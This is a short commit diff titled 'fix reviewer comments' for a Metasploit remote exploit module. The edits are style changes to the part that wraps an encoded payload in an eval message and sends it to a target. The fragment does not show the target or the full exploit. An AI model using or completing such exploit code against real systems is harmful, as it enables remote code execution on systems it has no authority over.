fix reviewer comments
parent
637b83a0ea
commit
97d08e0da4
|
@ -46,10 +46,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def make_eval_message
|
||||
escaped_payload = payload.encoded.gsub(/"/, '\\"')
|
||||
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
|
||||
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
|
||||
return msg_header + msg_body
|
||||
escaped_payload = payload.encoded.gsub(/"/, '\\"')
|
||||
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
|
||||
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
|
||||
return msg_header + msg_body
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -82,8 +82,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
else
|
||||
print_error("Got unexpected response: #{buf}")
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue